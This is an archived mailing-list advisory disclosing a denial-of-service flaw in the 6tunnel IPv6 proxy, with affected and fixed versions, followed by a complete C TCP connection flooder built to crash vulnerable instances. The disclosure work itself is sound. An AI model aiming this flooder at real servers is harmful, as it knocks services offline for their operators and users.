Remote DoS in 6tunnel

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 




SUMMARY
6tunnel is a simple tunneling program for applications that don't speak IPv6.
It's most used as an IRC proxy for clients without IPv6 support.
A serious vulnerability in this program allow any user to crash 6tunnel 
locally and in some cases remotely.

SYSTEM / VERSIONS AFFECTED
Older versions.
6tunnel 0.06
6tunnel 0.07
Version 0.07 should be included in the latest version of freeBSD ports and 
netBSD.
It's even included by default in PLD ( http://www.pld.org.pl/ )
Version 0.08 has a wrong fix.

IMMUNE VERSIONS
6tunnel 0.09

DETAILED DESCRIPTION
The socket opened when the client connects to 6tunnel is not correctly 
closed at the end of connection: in some cases, when the connection is 
closed by server (i.e. on IRC with a quit command, the IRC server close the 
connection) the socket will be closed after a short timeout.
But if it's closed after a client disconnection, the socket remains in 
state CLOSE (as you can see with netstat) till 6tunnel will be killed or 
stopped.
So flooding 6tunnel with connections/disconnections there are a lot of 
sockets not closed and after a variable number of connections (depending on 
OS,system,etc) 6tunnel will crash.
Clients that were already connected before the crash won't be disconnected 
but it's not possible to make new connections.
In order to crash 6tunnel remotely we must only be able to establish a 
connection.

OTHER INFORMATIONS:
I reported this bug one week ago. After few hours the official maintainer 
<wojtekka@irc.pl> released a new version (6tunnel-0.08). This version was 
broken so I reported it with a working fix and after few days the corrected 
version (6tunnel-0.09) was released. This new version fixes even some 
memory leaks.
You can find it here: ftp://213.146.38.146/pub/wojtekka/6tunnel-0.09.tar.gz

A simple IPv4/IPv6 connection flooder to demonstrate the DoS is attached.

Excuse me for my poor English.
Regards.
--
awayzzz <awayzzz@digibel.org>
/* 
 * ipv4/ipv6 tcp connection flooder.
 * Originally used as a DoS for 6tunnel (versions < 0.08).
 * Version 0.08 is a broken version. Please update to 0.09.
 *
 * Description of options:
 * -6	:	flood an ipv6 address.
 * port :	tcp port to flood (default: 667)
 * delay:	delay between connections (ms).
 * times:	max number of connections (default: 2500).
 *
 * awayzzz <awayzzz@digibel.org>
 * You can even find me @IRCnet if you need.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEFP	667		// default port.
#define DEFT	2500		// default number of connections.
#define TIME	100000	// delay between connections.
                        	// tune it for best performances!

#define HAVE_IPV6

#define VALID_PORT(i)   (i<65535 && i > 0)

int main(int argc,char *argv[])
{

   int ret, fd, i, ip6 = 0;
   int times = DEFT, port = DEFP, delay = TIME;
   struct sockaddr_in sin;
  
#ifdef HAVE_IPV6
   struct sockaddr_in6 sin6;
#endif

   if( argc < 2 ) 
   {
       char *pname;

       if(!(pname = strrchr(argv[0],'/')))
          pname = argv[0];
       else
          pname++;

       printf("Usage: %s [-6] ip4/6 [port] [delay (ms)] [times]\n", pname);
       exit (0);
   }

   if(!strcmp(argv[1],"-6"))
   {

#ifdef HAVE_IPV6
      ip6 = 1;
#endif
      argv++;
      argc--;
   }

   if(argc > 2)
   {
      port = strtol(argv[2], NULL, 10);
      if(!VALID_PORT(port))
      {
         fprintf(stderr,"Invalid port number. Using default\n");
         port = DEFP;
      }
   }

   if(argc > 3)
      delay = strtol(argv[3], NULL, 10);

   if(argc > 4)
      times = strtol(argv[4], NULL, 10);

   printf("Started with %s flood to %s on %d for %d times!\n",
         (ip6 == 1) ? "ipv6" : "ipv4", argv[1], port, times);
    
   for (i = 0; i < times; i++) 
   {
     
#ifdef HAVE_IPV6
      if(ip6)
      {
         fd = socket(AF_INET6, SOCK_STREAM, 0);
         memset(&sin6, 0, sizeof(sin6));

         sin6.sin6_family = AF_INET6;
         sin6.sin6_port = htons(port);
         inet_pton(AF_INET6,argv[1],sin6.sin6_addr.s6_addr);
      }
      else
      {
#endif /* HAVE_IPV6 */

         fd = socket(AF_INET, SOCK_STREAM, 0);
         memset(&sin, 0, sizeof(sin));

         sin.sin_family = AF_INET;
         sin.sin_addr.s_addr = inet_addr(argv[1]);
         sin.sin_port = htons(port);

#ifdef HAVE_IPV6
      }
      if(ip6)
         ret = connect(fd, (struct sockaddr *)&sin6, sizeof(sin6));
      else
#endif 
         ret = connect(fd, (struct sockaddr *)&sin, sizeof(sin));

      if(ret < 0)
      {
         printf("connect %d failed.\n",i);
         perror("connect");
         break;
      }
      
      printf("Connection no. %d\n",i);
      close(fd);
      usleep(delay);
   }
}
/* :wq */

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux